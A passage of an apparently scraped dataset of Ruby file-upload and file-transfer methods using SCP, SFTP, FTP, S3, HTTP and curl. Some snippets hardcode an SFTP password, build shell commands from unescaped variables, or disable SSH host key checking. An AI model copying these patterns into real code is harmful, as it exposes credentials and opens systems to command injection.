options[:owner]\n end", "def upload(local, remote, mode = 0o644)\n file.open(remote, 'w', mode) { |io| io.upload(local) }\n end", "def upload_file(deployment_id, id, local_file, destination, params={})\n if destination.empty? || destination == \"/\" || destination == \".\" || destination.include?(\"../\")\n raise \"#{self.class}.upload_file() passed a bad destination: '#{destination}'\"\n end\n # url = \"#{@base_url}/#{base_path}/#{deployment_id}/versions/#{id}/files\"\n url = \"#{base_path}/#{deployment_id}/versions/#{id}/files\"\n if !destination.to_s.empty?\n url += \"/#{destination}\"\n end\n # use URI to escape path\n uri = URI.parse(url)\n url = uri.path\n # params[:filename] = File.basename(destination)\n if !local_file.kind_of?(File)\n local_file = File.new(local_file, 'rb')\n end\n payload = local_file\n headers = {'Content-Type' => 'application/octet-stream'}\n headers['Content-Length'] = local_file.size # File.size(local_file)\n execute(method: :post, url: url, headers: headers, payload: payload, params: params, timeout: 172800)\n end", "def upload!(local, remote, options={}, &block)\n upload(local, remote, options, &block).wait\n end", "def upload(locals, remote)\n unless file(remote).directory?\n raise TransportError, \"#{self.class} expects remote directory as second upload parameter\"\n end\n\n Array(locals).each do |local|\n new_content = File.read(local)\n remote_file = File.join(remote, File.basename(local))\n\n logger.debug(\"Attempting to upload '#{local}' as file #{remote_file}\")\n\n file(remote_file).content = new_content\n end\n end", "def upload!(_local, _remote, _options = {}) raise MethodUnavailableError end", "def upload(remote_path, contents)\n end", "def upload(local_path, dest_path)\n local_file_name = File.basename local_path\n dest_dir_name = File.dirname dest_path\n ssh.send_file local_path, \"/tmp/#{local_file_name}\"\n ssh.exec! \"mkdir --parents #{dest_dir_name}\", sudo: true\n ssh.exec! \"mv /tmp/#{local_file_name} #{dest_path}\", sudo: true\n return dest_path\n end", "def upload_file(local_file, remote_folder='', storage_type='Aspose', storage_name='')\n\n begin\n\n raise 'Local file not specified' if local_file.empty?\n\n if storage_type == 'Aspose'\n\n filename = File.basename(local_file)\n\n if remote_folder.empty?\n struri = $product_uri + '/storage/file/' + filename\n else\n struri = $product_uri + '/storage/file/' + remote_folder + '/' + filename\n end\n\n signeduri = Aspose::Cloud::Common::Utils.sign(struri)\n\n else\n\n filename = File.basename(local_file)\n\n if remote_folder.empty?\n struri = $product_uri + '/storage/file/' + filename + '?storage=' + storage_name\n else\n struri = $product_uri + '/storage/file/' + remote_folder + '/' + filename + '?storage=' + storage_name\n end\n\n signeduri = Aspose::Cloud::Common::Utils.sign(struri)\n\n end\n\n Aspose::Cloud::Common::Utils.upload_file_binary(local_file, signeduri)\n\n rescue Exception => e\n print e\n end\n end", "def upload(local, remote)\n local = Pathname.new(local) unless local.kind_of? Pathname\n raise \"no file\" unless local.exist?\n\n # we assume these are small enough to slurp.\n script = local.read\n limitkeys = [:method, :path, :script, @itemkey]\n remote = remote.select{|k,v| limitkeys.include? k }\n remote[:script] = script\n# post('', remote)\n if remote.has_key? @itemkey then\n put('/' + remote[@itemkey], remote) do |request, http|\n response = http.request(request)\n case response\n when Net::HTTPSuccess\n #return JSON.parse(response.body)\n when Net::HTTPNotFound\n verbose \"\\tDoesn't exist, creating\"\n post('/', remote)\n else\n showHttpError(request, response)\n end\n end\n else\n verbose \"\\tNo itemkey, creating\"\n post('/', remote)\n end\n end", "def copy_to_remote(local_file, remote_path)\n\t\t@ssh_session.scp.upload! local_file, remote_path\n\tend", "def upload(local, remote, options={})\n ssh.upload(local, remote, options)\n end", "def put(local_file, remote_file=nil)\n remote_file = remote_file.nil? ? File.basename(local_file) : remote_file\n @logger.debug(sprintf('scp from host[%s] to VM[%s]', local_file, remote_file))\n\n raise FileTransferError.new(sprintf('unable to put[%s], local file does not exist', local_file)) unless File.file?(local_file)\n\n begin\n @ssh.scp.upload!(local_file, remote_file)\n rescue => e\n raise FileTransferError.new(sprintf('unable to put[%s], exception[%s]', local_file, e.message()))\n end\n\n return true\n end", "def upload_file(server_or_workers, local_file, remote_file)\n case server_or_workers\n when :server\n raise 'Server node is nil' unless @os_aws.server\n\n return @os_aws.server.upload_file(local_file, remote_file)\n when :worker\n raise 'Worker list is empty' if @os_aws.workers.empty?\n\n return @os_aws.workers.each { |w| w.upload_file(local_file, remote_file) }\n end\n end", "def upload(local, remote, options={}, &block)\n Operations::Upload.new(self, local, remote, options, &block)\n end", "def upload(locals, remote) # rubocop:disable Lint/UnusedMethodArgument\n raise ClientError, \"#{self.class}#upload must be implemented\"\n end", "def upload(locals, remote)\n # evaluate $env:temp on Windows\n real_remote = remote.to_s == \"\\$env:TEMP\\\\kitchen\" ? kitchen_temp : remote\n FileUtils.mkdir_p(real_remote)\n Array(locals).each do |local|\n FileUtils.cp_r(local, real_remote)\n end\n end", "def upload_local(path, **opt)\n File.open(path) do |io|\n file_attacher.attach(io, **opt)\n end\n rescue => error\n __output \"!!! #{__method__}: #{error.class}: #{error.message}\"\n raise error\n end", "def upload(http_post_url, remote_folder, local_file)\n $log.info \"curl -F file=@#{local_file} -F directory=#{remote_folder} #{http_post_url}\"\n return system(\"curl -F file=@#{local_file} -F directory=#{remote_folder} #{http_post_url}\")\nend", "def upload_remote(url, **opt)\n # @type [Down::ChunkedIO] io\n io = Down.open(url, **DOWN_OPEN_OPTIONS)\n opt[:metadata] = opt[:metadata]&.dup || {}\n opt[:metadata]['filename'] ||= File.basename(url)\n file_attacher.attach(io, **opt)\n rescue => error\n __output \"!!! #{__method__}: #{error.class}: #{error.message}\"\n raise error\n ensure\n # noinspection RubyScope, RubyMismatchedReturnType\n io&.close\n end", "def upload local_file_path, storage_file_path, encryption_key: nil\n unless @bucket.file storage_file_path\n @bucket.create_file local_file_path, storage_file_path,\n encryption_key: encryption_key\n end\n end", "def upload(file)\n file = File.expand_path(file)\n\n abort \"#{file} does not exist!\" unless File.exist?(file)\n\n dest = dropbox_resolve_file(File.join(destination_directory, File.basename(file)))\n\n if remote_file = dropbox_upload_file(file, dest)\n url(remote_file, method: :create, retries: 0)\n else\n abort \"Couldn't upload file #{file}\"\n end\n rescue APIError => e\n abort e.message\n end", "def put(local_file, to_location, overwrite = true, close_file = true)\n local_file = File.open(File.expand_path(local_file), \"rb\") unless local_file.respond_to?(:read) # check if it's a File object\n result = @client.put_file(to_location, local_file, overwrite)\n local_file.close if close_file\n result\n rescue\n puts $! if @@verbose\n nil\n end", "def send_file(file, remotefile = File.basename(file))\n begin\n @ftp.putbinaryfile(file, remotefile)\n return true\n rescue Exception => e\n error_message(e)\n return false\n end\n end", "def upload(name, destination=nil)\n put File.open(name, \"rb\"), destination || File.basename(name)\n end", "def sudo_upload(local, remote, opts={})\n remote = expand_path remote\n\n # TODO: umask this?\n local_mode = File.stat(local).mode & 07777\n File.chmod 0600, local\n \n\n # Get temporary filename\n tmpfile = '/'\n while exists? tmpfile\n tmpfile = '/tmp/sudo_upload_' + Time.now.to_f.to_s\n end\n\n # Upload\n upload local, tmpfile, opts\n\n # Get remote mode/user/group\n sudo do\n if exists? remote\n mode = self.mode remote\n user = stat('-c', '%U', remote).strip\n group = stat('-c', '%G', remote).strip\n else\n user = stat('-c', '%U', File.dirname(remote)).strip\n group = stat('-c', '%G', File.dirname(remote)).strip\n mode = local_mode\n end\n\n # Move and chmod\n mv tmpfile, remote\n chmod mode, remote\n chown \"#{user}:#{group}\", remote\n end\n end", "def upload_file(connection, source, target, recursive = true)\n if connection.scp.upload!(source, target, recursive: recursive)\n Result.ok(:uploaded)\n else\n Result.error(\"Unable to upload #{source} to #{target}\")\n end\n rescue Net::SCP::Error\n Result.error(\"The network is overloaded. Unable to upload #{source} to #{target}\")\n end", "def move_from_remote(remote_file, local_path)\n\t\tcopy_from_remote(remote_file, local_path)\n\t\tdelete_remote(remote_file)\n\tend", "def upload_file(local_file, remote_path)\n Net::SFTP.start(HOSTNAME, USERNAME, :password => PASSWORD) do |sftp|\n file_perm = 0644\n next if File.stat(local_file).directory?\n remote_file = remote_path + \"/\" + local_file\n \n begin\n rstat = sftp.stat!(remote_file)\n rescue Net::SFTP::StatusException => e\n raise unless e.code == 2\n puts \"Copying #{local_file} to #{remote_file}\"\n sftp.upload(local_file, remote_file)\n sftp.setstat(remote_file, :permissions => file_perm)\n next\n end\n \n #puts File.stat(local_file).mtime \n #puts Time.at(rstat.mtime)\n if File.stat(local_file).mtime > Time.at(rstat.mtime)\n puts \"Updating #{local_file} to #{remote_file}\"\n sftp.upload(local_file, remote_file)\n end\n end\n end", "def transfer!\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\".\")\n create_local_directories!\n FileUtils.cp(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end", "def upload_media_file( wikipath, filename, raw )\n p filename\n headers = {\n 'Content-Type' => 'application/octet-stream',\n 'X-File-Name' => filename\n }\n url = upload_url( wikipath, filename )\n p url\n wait_second\n pp @agent.post( url, raw, headers )\n save_uploaded( filename )\n end", "def create_uploaded_file\n Hyrax::UploadedFile.create(user: @user, file: local_file)\n end", "def upload\n if !@local_target.nil? && !@remote_target.nil?\n if @verbose\n system \"#{ @dbu } upload #{ @local_target } #{ @remote_target }\"\n else\n exec = `#{ @dbu } upload #{ @local_target } #{ @remote_target }`\n end\n else\n error_msg = 'Local and remote targets cannot be nil'\n @logger.error(error_msg) if @logger\n fail StandardError, error_msg\n end\n end", "def fetch_and_upload_file(file, **opt)\n meth = opt.delete(:meth) || __method__\n remote = file.match?(/^https?:/)\n result = remote ? upload_remote(file, **opt) : upload_local(file, **opt)\n Log.info do\n name = result&.original_filename.inspect\n size = result&.size || 0\n type = result&.mime_type || 'unknown MIME type'\n \"#{meth}: #{name} (#{size} bytes) #{type}\"\n end\n result\n end", "def copy_to_local(file_name, local_path, speed_limit = nil)\n src_path = \"#{self.path}#{file_name}\"\n \n r = `rm -rf #{local_path.shellescape}; mkdir -p #{File.dirname(local_path).shellescape} 2>&1`\n raise r if $?.exitstatus != 0\n\n # if remote file is directory?\n cmd = \"ssh -oStrictHostKeyChecking=no -q #{self.host} \\\"if [ -d #{src_path.shellescape} ]; then /bin/true; else /bin/false; fi\\\"\"\n r = `#{cmd} 2>&1`\n src_path += '/' if $?.exitstatus == 0\n\n cmd = \"ionice -c 2 -n 7 rsync -e \\\"ssh -o StrictHostKeyChecking=no\\\" -a #{FC::Storage.speed_limit_to_rsync_opt(speed_limit)}--rsync-path=\\\"ionice -c 2 -n 7 rsync\\\" #{self.host}:\\\"#{src_path.shellescape}\\\" #{local_path.shellescape}\"\n r = `#{cmd} 2>&1`\n raise r if $?.exitstatus != 0\n end", "def uploadFile(localFilePath, destFilePath, maxAge = 172800) # 2 Days = 1,72,800 seconds \n ext = File.extname(localFilePath).downcase\n msgContentType = \"\"\n cacheControl = \"max-age=#{maxAge}, must-revalidate\"\n if (ext == \"\")\n contentType = 'text/html'\n msgContentType = \"No file-ext: \"\n elsif (Fh5::Config.instance.contentTypes && Fh5::Config.instance.contentTypes.has_key?(ext))\n contentType = Fh5::Config.instance.contentTypes[ext]\n msgContentType = \"Override for '#{ext}':\"\n else \n contentType = MimeMagic.by_path(destFilePath).type\n end\n @log.info(@logPrefix) {\"Upload: '#{destFilePath}' (#{msgContentType}#{contentType}) (#{cacheControl})\"}\n begin\n File.open(localFilePath) do |f|\n content = f.read\n @bucketAdmin.defaultBucket.put(destFilePath, content, {}, 'public-read', \n {'Content-Type' => contentType, 'Cache-Control' => cacheControl})\n end\n rescue\n @log.errorException($!, @logPrefix) {\"Failed to upload to: '#{destFilePath}'\"}\n\n return nil\n end\n \n # comment out stuff related to public links which doesn't seem to work for website bucket.\n # publicLink = @bucketAdmin.endpointBucket.key(destFilePath).public_link\n # @log.debug(@logPrefix) {\"Public link: '#{publicLink}' for file: '#{destFilePath}'\"}\n # return publicLink \n end", "def upload(local, remote, port:, user:, password:)\n Net::SSH::Simple.scp_put(ip, local.to_s, remote.to_s,\n user: user, port: port, password: password, paranoid: false)\n true\n rescue Net::SSH::Simple::Error => e\n log.info \"Uploading '#{local}' failed: #{e.inspect}\"\n false\n end", "def Upload file\n \n APICall(path: \"uploads.json?filename=#{file.split('/').last}\",method: 'POST',payload: File.read(file))\n \n end", "def test_upload_file\n remote_file_name = 'TestUploadFile.docx'\n\n request_file_content = File.open(File.join(local_test_folder, local_file))\n request = UploadFileRequest.new(file_content: request_file_content, path: remote_data_folder + '/' + remote_file_name)\n\n result = @words_api.upload_file(request)\n assert_equal false, result.nil?\n end", "def prepareFileTransfer(iLocalFileName)\n rError = nil\n rNewData = nil\n\n # Put the complete file in the POST value.\n # TODO: Make a better handling, generic (use FTP/SCP/Netbios... if the MasterProvider allows it)\n # Read the file\n File.open(iLocalFileName, 'rb') do |iFile|\n rNewData = iFile.read\n end\n\n return rError, rNewData\n end", "def postgres_upload_binary_file(fname, remote_fname=nil)\n data = File.read(fname)\n postgres_upload_binary_data(data, remote_fname)\n end", "def local_file(f, body, options={})\n #return !self.config.public?\n file = init_fog_file(f, body, options)\n # If the \"file\" is empty then return nil\n return nil if file.nil? || file.blank? || local_root.nil?\n file = local_root(options).files.create( file )\n end", "def upload(source, destination, options = {} )\n options = @connection_options.clone\n host = options.delete(:host)\n username = options.delete(:username)\n channel = session.scp.upload(source,destination)\n channel.wait\n end", "def remote_file(task)\n target_roles = task.delete(:roles)\n override = task.delete(:override)\n\n UploadTask.define_task(task) do |t|\n prerequisite_file = t.prerequisites.first\n file = shared_path.join(t.name).to_s.shellescape\n\n on roles(target_roles) do\n if override || !test(\"[ -f #{file} ]\")\n info \"Uploading #{prerequisite_file} to #{file}\"\n upload! File.open(prerequisite_file), file\n end\n end\n\n end\n end", "def upload_server_file(hostname,username,password,remote_file,local_file)\n Net::SCP.upload!(hostname, username, remote_file, local_file, :ssh => { :password => password })\n return\nend", "def upload_file(uploader, url)\n uri = URI.parse(url)\n if uri.host.nil?\n # Local, prepend url\n file = File.open(uploader.root + url)\n else\n # Add a scheme if the url is of the form \"//host.com/assets/\"\n uri.scheme = \"http\" if uri.scheme.nil?\n # Remote\n uploader.download!(uri.to_s)\n file = uploader.file\n end\n file\n end", "def upload_to_storage(local_path, repository)\n storage_connection = Faraday.new do |conn|\n conn.request(:multipart)\n conn.adapter(Faraday.default_adapter)\n end\n payload = { file: Faraday::UploadIO.new(local_path, 'application/binary') }\n storage_connection.put(repository, payload)\n end", "def send_local_file(filename)\n filename = File.absolute_path(filename)\n if @opts[:local_infile] || @opts[:load_data_local_dir] && filename.start_with?(@opts[:load_data_local_dir])\n File.open(filename){|f| write f}\n else\n raise ClientError::LoadDataLocalInfileRejected, 'LOAD DATA LOCAL INFILE file request rejected due to restrictions on access.'\n end\n ensure\n write nil # EOF mark\n end", "def upload_file(source, destination, targets)\n future = executor.future&.fetch('file_paths', false)\n source = find_file(source, future)\n targets = inventory.get_targets(targets)\n\n Bolt::Util.validate_file('source file', source, true)\n\n with_benchmark do\n executor.upload_file(targets, source, destination)\n end\n end", "def upload_file(file_path, itunes_location)\n # url = URI.parse(self.upload_url_for_location(itunes_location))\n # req = Net::HTTP::Post::Multipart.new(url.path, {\"file\" => UploadIO.new(file_path, \"image/jpeg\")})\n # res = Net::HTTP.start(url.host, url.port) do |http|\n # http.request(req)\n # end\n \n IO::popen('-') do |c|\n exec \"curl -q -F 'file=@#{file.path}' '#{upload_url_for_location(itunes_location)}'\"\n end\n end", "def remote_copy_file(source, target, options = {})\n Uploadcare::File.remote_copy(source, target, options)\n end", "def create\n if params[:local_file].present?\n if ingest_local_file\n redirect_to sufia.batch_edit_path(params[:batch_id])\n else\n flash[:alert] = \"Error creating generic file.\"\n render :new\n end\n else\n # They are uploading files.\n super\n end\n end", "def local_file_params\n params.require(:local_file).permit(:file, :file_fingerprint, :url)\n end", "def local_copy_file(source, options = {})\n Uploadcare::File.local_copy(source, options)\n end", "def file_send(file_local, file_target, compressed=false)\n\t\traise \"Target machine is not accessible\" if (!@config[\"ssh\"] or !@ip)\n\t\traise \"Local file (#{source}) is not accessible\" if (!(file_local[-1].eql? \"/\") && !(file_local[-2,2].eql? \"/*\") && !File.exist?(File.expand_path(file_local)))\n\n\t\t# Prepare\n\t\tfile_local = File.expand_path(file_local.gsub(/\\/\\*$/, ''))\n\t\tfile_target = file_target.gsub(/\\/$/, '')\n\n\t\t# Send\n\t\tif (compressed && !(['.tar.gz','.gz','.zip'].include? File.extname(file_local)))\n\t\t\t# Compress, send, uncompress\n\t\t\tcase compressed\n\t\t\t\twhen \"tar\"\n\t\t\t\t\t# TAR\n\t\t\t\t\t_tarname = Time.now.to_i\n\t\t\t\t\tputs \"[INFO] Sending #{file_local} using TAR archive\" if $debug\n\t\t\t\t\t`rm -f /tmp/captain/transfers/#{_tarname}.tar.gz && cd $(dirname \"#{file_local}\") && tar -czf /tmp/captain/transfers/#{_tarname}.tar.gz $(basename \"#{file_local}\") && scp -rq -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" /tmp/captain/transfers/#{_tarname}.tar.gz #{@config[\"ssh\"][\"username\"]}@#{@ip}:/tmp/captain/transfers/#{_tarname}.tar.gz 2>/dev/null && rm -f /tmp/captain/transfers/#{_tarname}.tar.gz`\n\t\t\t\t\t_scp = command_send(\"tar -xzf /tmp/captain/transfers/#{_tarname}.tar.gz -C $(dirname '#{file_target}') && mv \\\"$(dirname '#{file_target}')/$(basename '#{file_local}')\\\" \\\"#{file_target}\\\" && rm -f /tmp/captain/transfers/#{_tarname}.tar.gz\")\n\t\t\t\twhen \"zip\"\n\t\t\t\t\t# ZIP\n\t\t\t\t\t_zipname = Time.now.to_i\n\t\t\t\t\tputs \"[INFO] Sending #{file_local} using ZIP archive\" if $debug\n\t\t\t\t\t`rm -f /tmp/captain/transfers/#{_zipname}.zip && cd $(dirname \"#{file_local}\") && zip -rq /tmp/captain/transfers/#{_zipname}.zip $(basename \"#{file_local}\") && scp -rq -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" /tmp/captain/transfers/#{_zipname}.zip #{@config[\"ssh\"][\"username\"]}@#{@ip}:/tmp/captain/transfers/#{_zipname}.zip 2>/dev/null && rm -f /tmp/captain/transfers/#{_zipname}.zip`\n\t\t\t\t\t_scp = command_send(\"unzip /tmp/captain/transfers/#{_zipname}.zip -d $(dirname '#{file_target}') && mv \\\"$(dirname '#{file_target}')/$(basename '#{file_local}')\\\" \\\"#{file_target}\\\" && rm -f /tmp/captain/transfers/#{_zipname}.zip\")\n\t\t\t\telse\n\t\t\t\t\traise \"Unsupported archiving type \"+compressed\n\t\t\tend\n\t\telse\n\t\t\t# Send uncompressed\n\t\t\tputs \"[INFO] Sending #{file_local}\" if $debug\n\t\t\t_scp = `scp -rq -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" \"#{file_local}\" #{@config[\"ssh\"][\"username\"]}@#{@ip}:\"#{file_target}\" 2>/dev/null`\n\t\tend\n\t\treturn _scp\n\tend", "def upload(file, someone)\n end", "def stor_file(source, filename)\n self.ftp.chdir(\"/upload\")\n\n if source.is_a?(File)\n self.ftp.putbinaryfile(source, filename, Net::FTP::DEFAULT_BLOCKSIZE)\n else\n self.ftp.storbinary(\"STOR #{filename}\", StringIO.new(source), Net::FTP::DEFAULT_BLOCKSIZE)\n end\n\n true\n end", "def file_upload(*paths); net_scp_transfer!(:upload, false, *paths); end", "def upload(filename, folderid=nil, unzip=true, overwrite=false, details=nil) #filename must include the extension\n end", "def string_upload(str, remote_path)\n net_scp_transfer!(:upload, StringIO.new(str), remote_path)\n end", "def upload_file!(file, description)\n execute!(\n api_method: drive.files.insert,\n body_object: file_description(file, description),\n media: Google::APIClient::UploadIO.new(file, file.content_type),\n parameters: { uploadType: 'multipart', alt: 'json'})\n end", "def upload_file_url\n \"file://#{upload_full_path}\"\n end", "def copy_to_local(file_name, local_path, speed_limit = nil)\n src_path = \"#{self.path}#{file_name}\"\n \n r = `rm -rf #{local_path.shellescape}; mkdir -p #{File.dirname(local_path).shellescape} 2>&1`\n raise r if $?.exitstatus != 0\n \n speed_limit = (speed_limit * 1000).to_i if speed_limit.to_f > 0\n cmd = self.class.curr_host == host ? \n \"cp -r #{src_path.shellescape} #{local_path.shellescape}\" : \n \"scp -r -q -oBatchMode=yes -oStrictHostKeyChecking=no #{speed_limit.to_i > 0 ? '-l '+speed_limit.to_s : ''} #{self.host}:\\\"#{src_path.shellescape}\\\" #{local_path.shellescape}\"\n r = `#{cmd} 2>&1`\n raise r if $?.exitstatus != 0\n end", "def upload_file(dir_name, file, filename = File.basename(file.to_path))\n file = nil\n\n # Upload\n dir = @connection.directories.get(dir_name)\n if dir then\n file = dir.files.create(:key => filename, :body => file) \n else\n @logger.info \"\\nWarning: #{dir_name} does not exist.\\n\"\n end \n file\n end", "def copy_from_remote(remote_file, local_path)\n\t\tbegin\n\t\t\t@@logger.info { \"Copying file from #{remote_file} to #{local_path}\" }\n\t\t\t@ssh_session.scp.download!(remote_file, local_path)\n\t\t\treturn true\n\t\trescue => err\n\t\t\t@@logger.error { \"SCP failed: #{err.message}\" }\n\t\t\t@@logger.error { \"\\t #{err.backtrace}\" }\n\t\tend\n\tend", "def upload_file\n #TODO\n end", "def upload(file, identifier, copy = true)\n return \"/images/no_image.gif\" if file.nil?\n\n filename = \"#{identifier.to_s}_#{file[:filename]}\"\n full_path = File.join(self.root, self.path)\n\n if copy\n FileUtils.mkdir_p(full_path)\n FileUtils::cp(file[:tempfile].path, File.join(full_path, filename))\n end\n\n File.join(self.path, filename)\n end", "def upload(bucket, local_dir, remote_subdir=nil)\n puts \"> AWS Upload: #{bucket}\".yellow\n puts \" SUBDIR: #{remote_subdir}\".yellow unless remote_subdir.nil?\n puts \" SOURCE: #{local_dir}\".yellow\n raise FileNotFound.new(local_dir) unless File.exists?(local_dir)\n\n s3 = Aws::S3::Resource.new(client: s3_client)\n bucket = s3.bucket(bucket)\n\n files = Dir.glob(File.join(local_dir, '**/*')).reject { |f| File.directory?(f) }\n dir_prefix = (local_dir.end_with?('/')) ? local_dir : \"#{local_dir}/\"\n puts \"> Uploading #{files.size} files\".yellow\n progressbar = ProgressBar.create(title: ' AWS::Put'.yellow, total: files.size)\n files.each do |file|\n rel_path = file.delete_prefix(dir_prefix)\n file_path = (remote_subdir.nil?) ? rel_path : File.join(remote_subdir, rel_path)\n bucket.object(file_path).upload_file(file) do |response|\n progressbar.increment\n end\n # s3.put_object(\n # body: file,\n # bucket: bucket,\n # key: File.join(remote_subdir, File.basename(file))\n # )\n end\n progressbar.finish unless progressbar.finished?\n end", "def upload_simple(filename, overwrite:, target_name:)\n target_file = get(target_name)\n exist = target_file.file?\n return if exist && !overwrite\n path = nil\n if exist\n path = \"#{target_file.api_path}/content\"\n else\n path = \"#{api_path}:/#{target_name}:/content\"\n end\n\n query = {\n path: File.join('v1.0/me/', path),\n headers: {\n 'Authorization': \"Bearer #{@od.access_token.token}\",\n 'Content-Type': 'application/octet-stream'\n },\n body: File.read(filename)\n }\n result = @od.conn.put(query)\n result = JSON.parse(result.body)\n file = OneDriveFile.new(@od, result)\n file.set_mtime(File.mtime(filename))\n end", "def upload_binary_and_config(config_file_local, config_filename_remote, host)\n transfer INTEGRIT_BINARY, host+\":integrit\"\n transfer config_file_local.to_s, host+\":\"+config_filename_remote\n end", "def upload\n @files.each do |fn|\n sh %{scp -q #{@local_dir}/#{fn} #{@host}:#{@remote_dir}}\n end\n end", "def upload_file(f, body, options={})\n file = init_fog_file(f, body, options)\n if self.config.enabled?\n return directory(options).files.create( file )\n else\n return local_file(f, body, options)\n end\n end", "def securedftp localfile\n begin\n Net::SFTP.start(@conf[:host],'masset2', :password => 'masset2!media') do |sftp|\n sftp_mkdir sftp, dirs\n sftp.stat(remotefile) do |response|\n unless response.ok?\n sftp.upload!(localfile, remotefile)\n end\n end\n end\n local_to_remote_url localfile\n rescue Exception=>ex\n Rails.logger.error \"securedftp #{localfile} - #{ex.message}\"\n nil\n end\n end", "def retrieve_to_file(remote_path, local_file_path)\n get_adapter.retrieve_file_to_file(remote_path, local_file_path)\n end", "def upload_file(upload_url, filename_or_stream, content_type, filename = nil)\n handle_error do\n fileserver_connection(upload_url).post do |req|\n req.body = { file: UploadIO.new(filename_or_stream, content_type, filename) }\n end\n end\n end", "def upload_files local, hdfs, files\n local_files = Dir[File.join local, '*'].map { |f| File.basename f }\n remote_files = ls_remote(hdfs).map { |f| File.basename f }\n unuploaded_files = files - remote_files\n if (unuploaded_files - local_files).any?\n raise HdfsFileUploadingError,\n \"Files: #{unuploaded_files - local_files} \" <<\n \"can't be found on either local or hdfs.\"\n end\n (files - (files - remote_files)).each { |f| puts \"File: #{f} existed on HDFS.\" }\n upload_hdfs hdfs, unuploaded_files.map { |f| File.join local, f }\n end", "def put_file(destination, file)\n href = self.class.get_href(destination)\n @rest_logger.info \"#{__method__.to_s.upcase}\\t#{href}\"\n response = @file_uploader.upload(href, file, @cookies)\n response\n end", "def upload_file(from_path, file_name, opts={})\n return false unless valid?\n pub = !!opts[:public]\n object(file_name).upload_file(from_path)\n make_public(file_name) if pub\n end", "def upload_file(file)\n file_path = file.path\n\n @size = File.size(file_path)\n @filename = File.basename(file_path)\n @io = File.open(file_path)\n io.binmode\n Rails.logger.debug \"filename of file to upload: #{filename} filepath: #{file_path}\"\n upload_io(io, size, filename).tap do\n io.close\n end\n end", "def addFile(url, local_name)\r\n\t\t\t`bitsadmin /rawreturn /addfile {#{@id}} #{url} #{local_name}`\r\n\t\tend", "def upload_and_run(local_path, remote_path)\n upload local_path, remote_path\n run \"chmod a+x #{remote_path}\"\n sudo remote_path\n sudo \"rm #{remote_path}\"\nend", "def ftp_copy(ftp, local_file, remote_file)\n in_ftp_dir(ftp, File.dirname(remote_file)) do |_ftp|\n basename = File.basename(remote_file)\n _ftp.putbinaryfile(local_file, \"#{basename}.in_progress\")\n _ftp.rename(\"#{basename}.in_progress\", basename)\n end\n end", "def upload_file_to_guest(local_path, guest_path, quiet=false)\n\n # 1 copy to tmp location in .ievms\n FileUtils.cp local_path, File.join(IEVMS_HOME,File.basename(local_path))\n\n # 2 run cp command in machine\n log_stdout \"Copying #{local_path} to #{guest_path}\", quiet\n guestcontrol_exec \"cmd.exe\", \"cmd.exe /c copy \\\"E:\\\\#{File.basename(local_path)}\\\" \\\"#{guest_path}\\\"\"\n\n # 3 remove tmp file in .ievms\n FileUtils.rm File.join(IEVMS_HOME,File.basename(local_path))\n end", "def upload_file(path, format, file)\n delete path\n append_from_file(path, format, file)\n end", "def upload(path, options={})\n if options[:description]\n options['text'] = options[:description]\n options.delete(:description)\n end\n\n if options[:target]\n options['filename'] = options[:target]\n options.delete(:target)\n end\n\n if options[:summary]\n options['text'] ||= options[:summary]\n options['comment'] = options[:summary]\n options.delete(:summary)\n end\n\n options['comment'] ||= \"Uploaded by MediaWiki::Gateway\"\n options['file'] = File.new(path) if path\n full_name = path || options['url']\n options['filename'] ||= File.basename(full_name) if full_name\n\n raise ArgumentError.new(\n \"One of the 'file', 'url' or 'sessionkey' options must be specified!\"\n ) unless options['file'] || options['url'] || options['sessionkey']\n\n form_data = options.merge(\n 'action' => 'upload',\n 'token' => get_token('edit', options['filename'])\n )\n\n make_api_request(form_data)\n end", "def upload_file(command, remote_path, contents, ssh_username=nil)\n upload_as_user = ssh_username || default_ssh_username\n run_remote_command(\"mkdir -p #{File.dirname(remote_path)}\", upload_as_user)\n Tempfile.open(\"remote_script\") do |file|\n file << contents\n file.flush\n logfile.puts \"uploading #{remote_path} to Inception VM\"\n Net::SCP.upload!(host, upload_as_user, file.path, remote_path, ssh: { keys: private_keys })\n end\n true\n rescue StandardError => e\n logfile.puts \"ERROR running upload_file(#{command.class}, '#{remote_path}', ...)\"\n logfile.puts e.message\n logfile.puts e.backtrace\n false\n end", "def upload(local_dir:, name:, flavor:, project:, build_number:)\n raise \"#{self.class}#publish not implemented\"\n end", "def upload_file(file, file_name, folder = '/cgi-bin/uploads')\n upload_url = 'https://mp.weixin.qq.com/cgi-bin/filetransfer'\\\n '?action=upload_material&f=json&writetype=doublewrite'\\\n \"&groupid=1&ticket_id=#{@ticket_id}\"\\\n \"&ticket=#{@ticket}&token=#{@token}&lang=zh_CN\"\n response = RestClient.post upload_url, file: file,\n Filename: file_name,\n folder: folder\n JSON.parse response.to_s\n end", "def upload!(file_path)\n raise GitCloud::FileException.new(\"NotFound\") unless File.exists? file_path\n file = File.new(File.expand_path(file_path))\n add(file)\n commit\n push\n end", "def put_r(local_dir, remote_dir)\n return false if !File.directory?(local_dir)\n upload_dir(local_dir, remote_dir)\n end", "def upload(api_method, url, options = {})\n mime_type = ::MIME::Types.type_for(options[:media]).first.to_s\n file = File.read(options.delete(:media))\n\n options[:body][:mimeType] = mime_type\n options[:headers] = (options[:headers] || {}).merge({'X-Upload-Content-Type' => mime_type})\n\n response = request(api_method, url, options)\n\n options[:body] = file\n options[:headers].delete('X-Upload-Content-Type')\n options[:headers].merge!({'Content-Type' => mime_type, 'Content-Length' => file.bytesize.to_s})\n\n request(:put, response.headers['Location'], options)\n end", "def transfer!\n begin\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\" to bucket \\\"#{ bucket }\\\"\")\n connection.sync_clock\n connection.put_object(\n bucket,\n File.join(remote_path, remote_file),\n File.open(File.join(local_path, local_file))\n )\n rescue Excon::Errors::NotFound\n raise \"An error occurred while trying to transfer the backup, please make sure the bucket exists.\"\n end\n end", "def upload_file_to_guest_as_admin(local_path, guest_path, quiet=false)\n\n log_stdout \"Copying #{local_path} to #{guest_path} as Administrator\", quiet\n\n upload_file_to_guest(local_path, 'C:\\Users\\IEUser\\.tempadminfile',true)\n run_command_as_admin('copy C:\\Users\\IEUser\\.tempadminfile 